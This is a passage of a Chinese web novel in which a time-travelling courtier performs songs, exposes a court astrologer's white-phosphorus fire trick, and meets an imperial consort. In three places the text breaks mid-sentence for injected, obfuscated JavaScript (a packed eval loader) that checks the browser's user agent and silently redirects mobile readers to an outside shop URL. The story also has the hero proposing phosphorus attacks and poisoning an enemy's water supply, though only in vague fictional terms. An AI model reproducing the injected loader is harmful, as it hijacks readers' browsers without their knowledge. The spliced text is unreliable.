“谢殿下赏脸,子衿,速去屋里给殿下抬个椅子出来,切莫忘了加软垫。” “诺!” 赵子衿飞奔进屋,不多时便将太师椅搬了出来。 “公主,您且尝尝,看是否合胃口。”季褚把新烤好的肉串装盘,然后很狗腿的端到了李清瑶面前。 他很讨厌舔狗。 但那得分舔谁啊。 舔一口当今唯二有权势的女人,不磕碜。 “粗俗是粗俗了点,但细品之下也别有一番滋味,嗯,有心了。”李清瑶板着一张硬邦邦的脸,看的季褚恨不能上手给她使劲搓搓。 不过话又说回来,他还蛮心疼对方的。 生在封建时代的皇家,从一出生,长乐长公主就必须是长乐长公主,很少有做回她李清瑶的时候。 很快乐师也就位了。 季褚详细的沟通了一下,然后向李清瑶请示道:“殿下,可以开始了吗?” “开始吧!”李清瑶放下肉串端正坐好。 “好的,那微尘先介绍一下这几首曲子。 首先,暖场这首曲我取名为《遥远的旅途》。于太子妃殿下而言,从北地到京城,或许此生再无回到北地的机会,这不仅是一场举国同庆的盛宴,更是一名女子从现在走向未来的遥远旅途。” 李清瑶暗暗点头,“善!” “第一次彩排有些仓促,而且有些乐器只有教坊司有,明日臣会尽快与教坊司做好沟通,争取明晚可以让殿下听到完整版! 亲迎的曲子我取名《浮光》,这首曲主要分三个段落,呈现从静谧山水到盛世繁华的层次变化,寓意太子与太子妃从初识之淡,到相知之温,终至同心共治,光耀宗庙的命运轨迹。” “善!” 如果说开始还觉得季褚多此一举,但听到这,李清瑶也不得不佩服季褚的用意之深。 “太子妃出场乐曲,我取名《仙凡之旅》。意味一位普通女子在命运转折中,由素衣布裙走向金冠玉佩,由人间烟火步入宗庙庄严的神圣蜕变。 太子出场乐曲,名为《**长城》。非仅壮其声威,实为天命所系山河所托。 长城不只象征边关之固,更隐喻太子由内修德性,外承社稷,终成天下之脊梁的蜕变之路。” “彩彩彩!” 最后一句可以说狠狠打动了李清瑶的内心。 毕竟,在她的生命里,太子就是她的一切。 至于接下来的 同牢合卺,执手盟誓这些音乐用的啥,李清瑶已经主动忽略了,迫不及待的催促道:“开始演奏吧!” 总共六首音乐,因为头一次演奏,中间出了不少事故,可依旧听的李清瑶震撼连连。 月朗,星稀,曲终,人却未散。 “季褚,本宫万万没想到,卿诗词做的好,曲子谱的更好。” 季褚哪里会谱什么曲,他也不过是站在了巨人肩膀上罢了。 可这个时代又有谁知道? 所以,他的他的都是他的。 只要自己不尴尬,尴尬的就是别人。 “回殿下,其实微臣还有很多优点,只是殿下尚未发掘罢了。” “贫嘴!”李清瑶一脸高傲的嗔了他一眼,“今日只有曲,未曾有词,不知你可曾为自己作词作曲?” “殿下想听?” “听!” 身为十项全能男网红,季褚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198244|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间就在脑海乐曲词库中选中了非常契合自己的……《关山酒》。 然后走到琵琶旁,一边弹奏,一边现场来了个男低吟版。 倘若魂断沙场不见失地收,谁共谁不朽金戈亦染锈……这英雄的悲壮与历史的无情就问你麻不麻。 天命轻狂应似孤鸿游,向人世间尽一幅鬼谋……谁敢说,这说的不是他自己? 纵意而歌玉怀斟北斗,河山**愿与君同守。 看到了不,清瑶同志! 你还敢说我不忠心?回答我,还有比我更忠诚的吗?Lookinmyeyes…… 忠诚! 一曲作罢,李清瑶足足看了季褚盏茶时间。 “早点休息,明日卯时,随本宫上朝。” 说完,李清瑶起身离开,擦肩而过的瞬间,不知是不是错觉,季褚分明看到她清冷的唇角微微翘了翘。 “呼……可算是走了。” 关上小院的门,季褚看着院里三个大小不一,款式不同的美艳佳人,轻轻捋了捋下巴,“三位娘子,为夫有个大胆的想法!” 要说最懂季褚的还得是怜香,别人还没听明白,她已然红了俏脸,“季郎,你那大胆的想法还是算了吧。殿下说了,卯时便要上朝,天也不早了,妾身去烧水,早点沐浴,你也早点歇息。” 季褚:…… 好像还真是那么回事,毕竟时间已经来到了亥时,最多也就休息三个时辰,总共六个小时。 要是再忙活忙活,怕是明天上朝都得打瞌睡,毕竟修炼也得保持足够的睡眠。 三女已经分好了房间,怜香依旧住在正屋,竹儿和赵子衿则住在东西厢房。 季褚简单洗漱了一下便睡在了怜香屋里。 感觉也就一会儿,怜香便用力将他推醒,“季郎,公主那边派人来了,快点醒醒,今天可是你第一次上朝。” 季褚揉了揉眼,不情不愿的坐起身,心里可是蛐蛐开了。 难怪皇帝死的都早,晚上日理万机库库生娃,白天还醒这么早上朝,分明就是严重肾气不足,严重睡眠不足,这样的人能长寿才怪。 在怜香和竹儿共同努力下,季褚也就醒盹的工夫,动都不用动一下就穿戴整齐。 来到后院,公主已经坐在马车上等候多时了。 李清瑶掀开帘子,淡淡道:“上来吧!” “谢殿下。”季褚行了一礼,掀开苇挡便进了马车。 第72章 陛下,臣请施法 香车,美女,仿佛在这一刻彻底具象化了。 不过有妙锦这位女官在旁伺候,季褚还是很规矩的。 “桌上有点心,季大人可以先垫垫肚子。”李清瑶指了指桌子,“每次朝会,快的话可能半个时辰就结束,但偶尔也有两三个时辰都无法结束的时候。” “谢殿下提点,微臣明白。” “大人,这可是殿下今早亲手做的莲子酥。”竹儿将那一盘点心端到了季褚面前。 季褚拿起一块,下意识看了李清瑶一眼,后者则直接扭头看向了窗外。 还挺傲娇。 季褚张嘴吃了一口,入口香甜软糯,确实不错。 然后,两块,三块…… 不是,让你尝尝,你还真当饭吃啊? 妙锦简直惊呆了都。 “难道本官脸上有东西?”季褚被她看的属实有点不自在,下意识摸了摸脸。 “无,大人慢用!”妙锦那叫一个无语,放下东西便跪坐到了一旁。 李清瑶又为他讲了一下朝会上的注意事项,面圣时的礼仪。 季褚便吃边听,到了宫门口,一盘子点心也被他彻底消灭干净。 头一次进宫,头一次站在象征着至高权利的金銮殿,而且还是靠前,季褚只想大呼一声,“爹娘,您儿子出息了……” 想他们吗? 怎么可能不想,但好在他不是独生子女,当年生完他,父母东躲西藏又给他生了对儿龙凤胎弟弟妹妹,而且父母退休工资都不低,也不用担心养老问题。 “季大人?” 就在这时,一道声音将季褚拉回了现实。 回头一看,却见一个满头华发的老头正笑呵呵的看着自己。 “敢问大人是?”季褚客气的回了一礼。 “老夫左春,都察院左佥都御史。” 嘶! 季褚倒吸一口凉气,原来是**大佬。 虽然都是绯色官袍,可人家是正二品,他却是个从二品。 至于权利,那更是天差地别。 “原来是左大人,您老身子骨挺硬朗的哈!” 左春面皮一抽,啥意思? 哪有一上来先问身体的? 难不成是想帮公主出气,故意暗讽老夫年纪大? “倒是不如以前了。”说完,轻哼一声,他便走到了前面去。 季褚:…… 不是,这老头属狗的吧,咋说甩脸就甩脸? 这时,又陆陆续续有几个官员打招呼,相互认识了一下。 季褚也终于见到了自己的上官,户部尚书崔亮,崔为本。 听李清瑶的意思,这是三皇子的人,他以为对方哪怕不给自己来个下马威,那起码也得是冷淡态度。 万万没想到,这人说话还怪好听的。 而且季褚发现,整个朝堂就那姓左的属狗,其他人个个都是人才,说话又好听,还不装高冷,他超喜欢这种氛围。 随着太子和梁皇先后到来,大家立马变得一板一眼。 “有事启奏,无事退朝!” “陛下,臣有本奏。” 梁皇一阵头疼,“大司农何事?” “陛下,自去岁寒冬天亢不雪,历旬月而愈烈,田畴龟裂,禾苗焦枯,夏收十失其七。 虽急令抢种秋谷,然时令已过连续旬月干旱,夏收大幅度减产。抢种的秋粮,奈何秧苗生长关键时期并未降雨。 臣这这几日出城查看,秧苗半死,根如朽索,叶面发黄,十田九枯。 依臣多年经验判断,秋收同样不会太好。 一季无收,尚可熬,两季皆绝,民将何依? 仓廪空军饷断,边卒无粮,必生哗变,还请陛下早做打算。” 这话一出,整个金銮殿顿时鸦雀无声,大家纷纷低头,眼观鼻,鼻观心。 毕竟,这就一烫手山芋,谁碰烫谁。 何况人家司农寺的事,术业有专攻啊,他们外行能说什么? 梁皇扫了一眼众位大臣,显然有些不太满意大家的反应,最后只能看向了大司农,“大司农可有章程?” “请恕老臣无能,眼下这种情况只能请朝廷拨款,加修水利多多灌溉,再让百姓多追一些肥,或许可以将先前的不足弥补回来。”大司农道。 “回头拟个折子,交由三省商定。” 这时,又有一人走出跪地,“陛下,天灾兵祸交加,乃上天警示,臣伏乞陛下,祭天祈福,修斋诵经以禳灾。” 这话一出,群臣垂目,显然,大家都习惯了每逢危局率先想到的祈福。 “不过是天时不顺罢了!” 季褚忍不住说了一句,但说完 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“你你你,简直就是强词夺理。” “那好,监正大人是吧,作为梁朝最接近仙佛的男人,那你给大家表演个神仙手段。 你肯定是最虔诚的,仙佛一定教了你不少法术。 来来来,起来,给大家展示一个,也让下官开开眼。” 钦天监监正阴毒的看了季褚一眼,想死,那本监正就成全你。 “法术而已信手拈来,睁大你的狗眼好好看着。”说完,监正看向了龙椅上的梁皇,“陛下,臣请施法。” 世间真有神吗?监正大人自己都不信,但他信君权神授啊! 你敢说无神,天命就不再是天命,那就是自毁根基。 季褚也正是突然想明白这一点,站出来以后,立马狂拍梁皇马屁。 “父皇,儿臣觉得两位大人说的都有道理,既要向上天祈福,也要想出具体办法解决问题。”李清瑶说道。 梁皇满意的点点头,“二位爱卿的意思朕已知晓,此事稍后再议!” “陛下,万万不可啊,季褚亵渎神明,若就此轻轻揭过,恐会引发更大的天罚,臣请陛下严惩季褚以儆效尤!” 第73章 仙气儿为何是哈拉蒜味儿 李清瑶敛衽上前,“父皇,季褚虽有失言,却非蓄意亵渎,若因言获罪,恐寒百官之心,且天罚一说,重在祈福安佑,而非苛责于人。” 李智冷哼一声,“谁不知季大人是皇姐府里的人,这般徇私包庇,岂非有失公允? 今日亵渎神明都能饶恕,那明日人人效仿又当如何? 必是**人怨,社稷动荡。 所以必须严惩季褚,以儆效尤,否则后果不堪设想啊父皇!” “陛下,似是季褚这般靠着阿谀奉承,吹吹捧捧上来的人,仗着写了几首诗,立了个小功劳,便目中无人狂妄自大,连天地神明都敢轻慢亵渎,实乃暴露了本性。 若不严惩,何以正朝纲,敬上天!” “亵渎神明,罪不容恕!” “臣附议,请陛下降旨严惩!” 看着一边倒的局势,梁皇摩挲着龙椅扶手,脸上透出一丝玩味之色。 这些世家大族出身的官员心里怎么想的,他比谁都清楚。 提拔季褚,主要是看重了季褚的不择手段。 朝堂需要一根搅屎棍。 考虑到季褚先前的所作所为,梁皇并不认为季褚是在无的放矢。 甚至,还有些期待季褚如何应对。 至于季褚,这个时候早就呆麻了。 好家伙,亏他方才还在深思熟虑,大家说话都那么好听,他该着重提防哪些人? 结果全都跳反了。 早知道李清瑶孤立无援,万万没想到,是这么没人缘啊! 四下看去,也就有数的几个人站着没动,没说声援,也没说严惩。 而先前被他蛐蛐狗脾气的左春,竟然也没落井下石。 这时,梁皇威严的声音自龙椅上响起,“季爱卿,你可有辩解?” “陛下,臣现在有点懵……” 季褚是假懵,可这话一出,满朝文武却是真懵! 梁皇眼前一亮,果然啊,出人意料的人,说出来的话也是那般出人意料。 “爱卿何故发懵?” “回陛下,臣不懵不行啊,方才明明是监证大人请旨施展仙术,让吾等也好开开眼,怎么好端端的就扯到降罪微臣了? 事情不是应该一件一件解决吗? 各位大人急什么? 难不成是因为长葛一事?那些被微臣坑的倾家荡产的粮商来自诸位大人家里?诸位大人气不过,这才逮着机会群起而攻之,报复微臣?” “嘶……”左春倒吸一口凉气,有些警惕的看向了季褚,仿佛看到了同类。 “休要胡言乱语。” “正是,长葛一案,本就是五大家族蓄意哄抬粮价所至。如今五族供认不讳,尽数伏法,再提此事又有何意义?” “如此,便是诸位大人,容不下我这初登朝堂之臣了?” 言罢,季褚毫不含糊的俯首拜倒,声线都带了几分郁悲,“陛下您可都瞧见了。 臣一片忠心,可昭日月,如今诸位大人结党相倾,同气相攻,分明是容不下臣这等忠直之人,还望陛下为臣做主!” 这话一出,整个金銮殿顿时变成了菜市场。 “竖子休得胡言!” “黄口小儿,吾等没有……” “饭可以多吃,话不可以乱说……” “叉出去,将这狂徒叉出去……” 而就在这时,梁皇突然放声大笑起来,目光扫过阶下,缓缓开口,“朕的文武百官,向来各司其职,忠君体国,又岂会如你所想那般结党营私,倾轧同僚? 季爱卿,你误会了。” 季褚眼皮微跳,心说这把稳了,“微臣知罪!” “都起来吧!”梁皇敛去笑意,目光转向钦天监监正,沉声道:“苏卿,季褚初入朝堂,未曾见识过仙神手段,心生好奇也属寻常。 你且展露一二,让他开开眼界。” 如此直白的包庇,已然说明了梁皇态度。 苏寿只能无奈应下,一脸愤怒的看向季褚,“季大人,可睁大你的眼睛看仔细了,莫要坐井观天,还自以为满腹见识!” “烦请苏监正为我开眼!” 季褚说的那叫一个情真意切,毕竟穿越这种事都能让他遇上,而今的他更是成为了“邪修”,所以还是蛮期待的。 苏寿抬手掐印,嘴中念念有词,最后吐出一个“起”字,手指瞬间燃起了一簇火苗。 火起的瞬间,众文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205179|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武全都虔诚的跪下。 苏寿冷哼一声,“季褚,可看清了?” 季褚使劲揉了揉眼,朝着对方走去,“你手指不烫吗?” “烫,还叫仙术吗?”苏寿鄙夷的一挥手,将手揣回了袖口。 看到这一幕,季褚嘴角不自觉的勾了起来,“苏大人,我为何闻到了一股哈拉蒜味儿?莫非这就是传说中的仙气儿?” 苏寿眼皮微跳,“仙气儿怎么可能是哈拉蒜味儿,本官昨晚吃面吃了蒜。” “吃面不吃蒜,香味少一半呗,没想到苏大人还是个吃家。” 众人:…… 啥情况啊? 我们跪这膜拜神祇,你俩站那聊吃食? 这可是金銮殿啊,像话吗? 能站在这里的文武百官自然都是人精,但这突然歪曲的场面,却让众人不知所措。 “季褚,还不速速向苏大人认错。”李清瑶心都快从嗓子眼里跳出来了,立马抢在前头出言提醒。 “殿下,臣无错,为何认错?” 季褚环顾群臣,而后迎着李清瑶气恼的目光缓缓开口,“好吧,不装了,我摊牌了。 其实在下也受到了仙人点拨,同样可以让手指烧起来。” “季褚,你所言当真?”梁皇噌的一下从龙椅上站了起来。 季褚赶忙转身,“陛下,千真万确。” “哦,你又是如何梦到仙人的?” “陛下误会了,臣没梦到仙人,而是看到了真神!” 此言一出,几乎所有人的目光全都亮了一下。 那可是神仙啊,谁不想见见? 什么,你说什么,季褚方才明明说世间无神仙,那是人家拍马屁好嘛,如何当的了真。 至少梁皇现在就是这么想的,激动道:“爱卿说的神仙在何处?” “远在天边近在眼前。” 说着,季褚抬手指向了苏寿,“钦天监监正,苏寿苏大人便是这世间唯一真神。” “我?” 苏寿愕然的瞪圆了眼睛,显然,季褚的话完全出乎了他的意料,以至于整个人都不自信了。 “对,就是你,自信点,别给漫天神佛丢份!” 第74章 季大人金銮殿首摔 梁皇面沉如墨,他再看重季褚,这会儿都恨不能拔剑砍了季褚。 李清瑶更是遍体生寒。 这胆大包天的狗东西,不调教一下是真不行了! 公然挑逗父皇,简直就是不知死活! 有那么一瞬间,她都想同意韩江雪的提议,用不起咱不用了成不?把他送到桑娘子那队女卫营地,当个提升实力的工具人好了! 然而,更加离谱的还在后面。 就见季褚突然伸手搂住了苏寿肩膀,一只手直接朝着人家袖口摸去。 “放肆,拉拉扯扯成何体统。” 苏寿心头一颤,这回他算是全明白了,季褚已然看穿了自己的把戏。 他想挣脱,可季褚的手就跟两只老虎钳子一样。 “苏大人,下官不仅知晓仙术,也略懂些拳脚功夫,是你自己拿,还是下官帮你拿?” “陛下……” 苏寿想要求救,却被季褚一个过肩摔重重摔在了地上。 快,太快。 快到大家完全没有反应过来。 “护驾……” “不用护了……” 季褚往对方袖口里一摸,很快便摸出了一个指套,跪在地上高高举起,“陛下,臣请用此物现场表演仙术!” 看到那节指套,又见苏寿面如死灰,梁皇的脸顿时阴沉到了极点,“准!” 季褚得到准许,立刻套上指套开始搓捻。 很快,就如苏寿刚刚那般,指尖燃起了一簇火苗。 “嘶……” “怎么会这样?” “那莫非是神物不成?” “必是神物,你没看到吗,多像一根手指。” “肃静!”梁皇爆呵一声,冷冷看向了季褚,“季褚,这到底是怎么回事?” “陛下,可还记得如何制冰?” 梁皇微微颔首,“长乐亲自演示过,当真神奇。” “其实手指点火和制冰有异曲同工之效,不过是两种不同的物质在某些运用下,产生的两种不同效果。 这个指套上浸了白磷,而白磷这种东西很奇怪,只要达到一定热度就会自燃……所以这也是最初苏大人要念咒的主要原因。 因为他得拖延时间,好用手指摩挲产生达到白磷自燃的热度。 所以这根本不是什么仙术,不过是戏法罢了。” 砰砰砰! 眼见季褚说的这般详细,苏寿哪里还敢狡辩,立马脑袋呛地,一边磕头一边颤声大喊:“陛下饶命,陛下饶命……” “来人,把这欺君罔上的混账东西拖出去,斩了!” 梁皇龙颜震怒,原先准备护驾的金甲武士正好把苏寿拖出去。 “彻查钦天监,招摇撞骗装神弄鬼者,杀无赦,夷九族!” 这一刻,梁皇是真的恼了。 欺君罔上的人多了,可用这种一戳就破小把戏糊弄他一个帝王,夺笋啊? 以后史书上咋写他? 杀,必须杀一个人头滚滚。 “陛下息怒,臣有一言,还请陛下三思。”季褚也被对方的龙威吓了一跳,他虽不是圣母,可一想到因为自己那么多人头叽里咕噜滚一地,便是一阵头皮发麻。 而且,他也想进步啊! 眼下就是个好机会。 “说!” 盛怒之下的梁皇,看谁都不顺眼,这其中自然也包括季褚。 “陛下,苏寿招摇撞骗,欺君罔上,死不足惜。然,钦天监里的其他人未必尽是奸邪之辈。且他们所行方士之事,利用得当或许于国有利。 说不定这才是上天赐下的恩泽。” “恩泽?”梁皇简直气笑了,“季褚,你可知自己在说什么?” “陛下,别的咱们不说,单就说这白磷。 如果大量制造出来,用于战场绝对是杀敌利器。” 梁皇一愣,顿时来了兴趣,“如何用?” “白磷有毒,我们可以派人潜入北戎水源进行**,而且是无解的慢性死亡。”季褚摘下指套,“这上面沾染的白磷应该混合了其他物质,真正的白磷,燃烧起来很难熄灭。 举个简单的例子,假如北戎骑兵冲阵,我方投掷燃烧的白磷。 届时,漫天大火,吓不死对方也会令对方军阵大乱。 更要命的是,燃烧的白磷接触到人体后,很难及时消除,且肉皮会被烧穿,最后深入到骨头。燃烧的同时,还会散发出对眼鼻具有极大刺激作用的烟雾。 如此,我方只需撤退,不费一兵一卒,等着敌军自我消亡就够了。 还可以训练一批高手,携带白磷,秘密前往敌国京城,往王公大臣家投……往军营里投……” “够了!” 梁皇以前只是 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结果左春一听这话,顿时黑着脸撸起了袖子,“刚刚听说季大人略通拳脚,不瞒你说,老夫亦如此,来来来,咱俩今天好好比划比划!” 季褚面皮一抽,赶忙后退两步,“碰瓷是吧?我告诉你,大家可都看到了。” 左春倒吸一口凉气,抬手指着季褚,一张老脸由黑变青,由青变红,哆嗦半天愣是一句话没哆嗦出来,最后冷哼一声,扭头朝着外面走去。 看到这一幕的大臣,全都不自觉加快了逃离的脚步。 三皇子一脸怨毒的瞪了季褚一眼,带着四皇子向外走去。 二皇子满面春风走到季褚面前,拱手笑道;“季大人,当真好手段,李义佩服。” “二殿下过誉了。” “绝非过誉,李义还从未见过有谁能叫左老大人哑口无言,季大人就是第一个。本王最看重你这般有本事的人,何时有空,我王府大门随时为季大人敞开。” “好好好,改天我一定去认认门。” “义必扫榻相迎。”李义呵呵一笑,随即也朝外面走去。 如今他可是正儿八经的朝廷官员,而且还挂了好几个职务,自然也得去熟悉熟悉工作。 季褚冲着李清瑶点了下头,然后便追着崔亮而去,“崔大人,等等下官!” 第75章 虞美人 从户部到礼部,再到御冰监…… 季褚几个部门溜达了一圈儿,正准备去东宫看看,刚出御冰监,一个老太监便匆匆而来,“季大人,你可是让咱家好找啊。” “哎呦,刘公公!”季褚笑着走上前,“多日不见,甚是想念啊!” “咱家也想念季大人啊。”刘公公笑的跟朵菊花似的,这季大人比起那些自以为是的文臣武将,说话就是好听,“圣人有请,季大人跟咱家走一趟吧!” “烦请公公引路。” 很快二人便来到了春暖阁。 梁皇已然换下了繁琐的龙袍,只披一件宽松的袍子,坐在大案前处理奏章,旁边还有一女子微摇玉扇帮忙扇风。 “臣,季褚叩见圣人。” “起来吧,赐座!”梁皇合上一本折子,随手丢到一旁,笑呵呵的看向了旁边的女人,“虞姬,这便是季爱卿,你不是喜欢他的诗词吗,那今日便让他为爱妃赋诗一首。” “谢圣人!” 女人的声音轻灵悦耳,宛若清泉涤石,入耳便似能洗尽心头尘嚣。 季褚起身抬眸看去,遮住灵魂伸出的那层迷雾瞬间变的清晰起来。 是她。 那个总是入他梦中,却始终看不清脸的女子。 虞美人! 原主一生的挚爱。 季褚看向对方,对方的目光同样看了过来。 那双秋水般的眸子里,似有星子轻轻闪烁,流转间便轻轻拨动了人的心弦。 她的美,不似李清瑶那般清冷高贵,不似凤倾城那般明艳热辣,更不似怜香那般媚骨天成…… 而是一身书卷清气,温婉雅致,宛若从古画中缓步走出的凌波仙子。 季褚不敢多看,赶忙再次行礼,“臣季褚,见过娘娘!” “季少保免礼!” 虞美人微微颔首,旋即望向梁皇,语气温婉得体:“圣人,诗词何时皆可论,当以国事为重。臣妾暂且告退,就不扰圣人与季少保商议朝政了。” 梁皇宠溺的握住了对方柔夷,“爱妃每每如此,顾全大局,甚得朕心。 无妨,你且在旁听着便是。” 说着,梁皇目光落向季褚,缓缓开口:“季爱卿,方才朝议,你所言白磷应于战阵,且与朕细细道来。” “陛下……”季褚赶紧巴拉巴拉,什么制造恐慌,什么民众恐慌后散播谣言,让百姓不在信任北戎朝廷……最后再来个斩首行动…… 梁皇听得津津有味,一旁的虞美人却悄然攥紧了素手,美眸里翻涌着难掩的心疼。 这些年,他究竟历经了多少风霜苦楚,才将昔日那般光风霁月的谦谦公子,磨成了如今这般心思深沉,狠厉果决的模样。 伯赢,你我终究已是殊途陌路。 惟愿你早日卸下心头重担,放下前尘执念,寻得一处安稳归宿,得一良人相伴一生。 “季爱卿,朕没想到,你这般年纪便有如此老成谋国之智。” “圣人过誉了。” “哈哈哈哈,此事朕记下了,切记,今日之事不可外传,他日若是成功,你当居首功!” 说着,梁皇叹了口气,“然,去岁与北戎的战争本就耗空了国力,而今天公不作美,我大梁已经无力再战。 此时实施爱卿之策,恐再次掀起两国战争。 今日朝堂上,大司农所言之事,不知爱卿可有法子解决?” 你别说,季褚还真琢磨了。 身为十项全能男主播,季褚玩的就是邪门。 当年为了吸引流量,他什么事儿都干过,其中就包括……堆肥! 没错,就是玩大粪。 并且利用高科技设备,分析老式堆肥与化肥之间的肥力差距,给当代小年轻进行科普。当时那流量可不是一般的猛,礼物酷酷的刷啊! 梁朝的农耕水平还停留在刀耕火种的阶段,知道老百姓只知道粪便可以肥地,所以都是把粪便晒干,随便往地里一撒,根本不懂发酵为何物。 这样洒下的粪便,不仅肥力不足,吸了水份后,透气性也会变差,而且容易滋生病菌,虫卵,减产不一定,但增产肯定也增不了多少。 而如今正是高温时节,如果采用垛式堆肥,不出一个月,就能完全腐熟。 当然了,肯定比不了现代农业化肥。 可放在当代,那绝对是增产增收的核武器。 不过这个功劳给自己那是一点好处都没有,虽然能在民间帮他迅速积累起民望,可老话说的好,功高震主啊! 所以他打算留给李清瑶。 皇帝的女儿,有功劳那也是皇家的。 而且,还能帮她增加底蕴,只有她好,自己才能更好。 想明白这一点,季褚收回了思绪,随即苦涩摇头,“圣人,您太高看微臣了,臣不通农事。” 梁皇眼底闪过一抹微不可查的失望。 是啊,天底下怎么可能有全知全能的人! “无妨,朕也不过随口一问。”梁皇轻笑一声,“听闻爱卿更善词曲,那日长葛的文艺汇演办的相当成功,其中有几首曲子甚至都传到了京城。 正好朕批折子也有些乏了,不知可否为朕和爱妃作上一曲。” “既蒙陛下垂询,臣便斗胆献丑一曲,为陛下,娘娘助兴!” 这话一出,梁皇顿时来了兴趣,“不知爱卿需要什么乐器?” 季褚早就注意到一旁角落里的古琴,“就用那把古琴吧?” “爱妃,可否借用一下?” 虞美人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210889|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美眸闪烁,脸上露出了雅致含蓄的微笑,“此琴能为陛下解忧,是它的福气,臣妾无有不可。” “爱卿,可还用准备一番?” “一把琴足以!”季褚起身,走到古琴旁坐下。 稍微试了一下音,便知道这是一把好琴。 “垓下一曲离乱,楚歌声四方,含悲辞君饮剑血落凝寒霜 难舍一段过往,缘尽又何妨 与你魂归之处便是苍茫 **策马平天下 此番诀别却为难 一声虞兮虞兮泪眼已潸然 与君共饮这杯中冷暖 西风彻夜回忆吹不断 醉里挑灯看剑且舞阑珊……” 有抑有扬的音调,感情深厚的辞藻,搭配上季褚那熟练的唱功技巧,听的梁皇情绪起起伏伏。 曲中既有平定天下,一往无前的胸襟气魄,亦有与挚爱诀别,天人永隔的锥心之痛。 这般心境,简直挠到了这位帝王的麻筋儿上。 他不自觉将曲中虞姬,代入到了那位令他毕生无法释怀的女子身上。 一滴泪水悄然划过眼角,竟不自知。 而虞美人更是初闻不知曲中意,再听已是曲中人。 泪珠无声滚落,打湿衣襟。 那是曾经相知相惜、入骨难舍的深情, 原来他对她的心意,依旧滚烫炽热,从未消减。 季褚一直关注着二位领导,曲终,躬身一礼,“圣人,娘娘……微臣献丑了。” “陛下,臣妾愿向季少保请教此曲,以后也可长长唱给陛下听,还请陛下成全。” 闻言,季褚的心瞬间提到了嗓子眼。 当着皇帝的面,明目张胆请旨私会外臣,这女人想干嘛? “朕允了。” 梁皇缓缓开口,语气里仍带着几分怅然若失,“罢了,你们都下去吧,朕要批折子了。 季褚,好生教朕的爱妃。” 季褚:…… 好家伙,你也是真勇,真不怕头顶生出一团绿草。 “臣遵旨。” “季少保,请随妾身来。” 说完,虞美人抱起古琴迈步朝着春暖阁外走去。 擦肩而过的瞬间,那种雪梅与檀香混合的独特香味,就好似水墨画中流淌而出的清风,轻柔的拂过季褚的鼻尖。 季褚下意识深吸了一口,然后随着那道曼妙的身影出了春暖阁。 “刘伴伴,把朕的那幅画挂上。” “喏!” 刘公公连忙躬身退至一侧,恭恭敬敬取出先皇后的画像,小心悬挂妥当。 梁皇目光微沉,“派人盯着些。” 刘公公心头一凛,立刻垂首应道:“老奴明白!” 第76章 原主的情债,虞美人字迹传情 季褚和虞美人来到一出偏殿,虞美人便立刻将周围伺候的太监宫女打发出去,径自走向了一旁的软榻,把琴轻轻放到了案几上,然后便静静端坐那里。 她身姿端雅如月下清荷,脊背挺直却不见半分僵硬。 鬓发垂落如轻云,衬得侧脸温婉柔和,眉眼间带着淡淡的书卷气,随着窗外折射进来的暖阳,似乎更加的清润动人。 长长的睫羽轻颤,虞美人摆好古琴,抬眼时眸光似水,一静一动皆是端庄得体,明明只是安安静**着,却像是被时光精心勾勒过一样。 “季大人,为何不上前来?” 开口之际,她的声音已不自觉微微发颤。 思绪也一瞬被扯回了昔年虞府。 那时的她还是娇憨明媚的闺阁小姐,他亦是温文尔雅的文弱书生。 初见那日,他也是这般,立在原地,迟迟未曾上前。 “先生,莫非是不愿意教我?” 季褚哪里是不愿,而是他的身体好像出现了某种问题。 脑袋里那些属于原主的记忆就好似有了意识一般,似是要和他争回主动权。 尤其是最后这句话,简直就是回忆杀。 当年的虞小姐,那字儿写的奇丑无比,虞老爷不知请了多少先生,奈何来一个气走一个。 最后完全就是一段狗血剧情。 原主这人,说穿了就一木讷,老实巴交的书呆子。 偏偏当年的虞小姐简直就是被宠坏的典范,然后小姐偷溜出门遇险,恰好遇到原主获救…… 多少年后,老爷给小姐找书法先生,原主听说钱多就去应聘了。 结果您猜怎么着。 嘿,就是您想的那样。 惊不惊喜,意不意外? 比起女频《霸道总裁爱上绝经保姆,夜夜掐腰》稍微合理那么一点,这完全就是另外一部男频小说《富家千金倒追穷酸的我,步步撒娇》小作坊经典制作。 兴许是儿时那一救,印象太深刻,又或许原主确实有几分姿色挺招人稀罕的,富家千金居然迁就穷小子,慢慢变的知书达理。 虞老爷一看,这小伙挺行啊,于是便将他从书法教**升到了私塾先生。 他哪里是原主教得好,分明他闺女为了讨好原主。 这一波回忆杀来的太强烈,差点没给季褚脑袋干冒烟,危急时刻,他索性发狠用力咬破了舌尖。 下一秒,一丝鲜血顺着季褚嘴角流出,人也终于清醒过来。 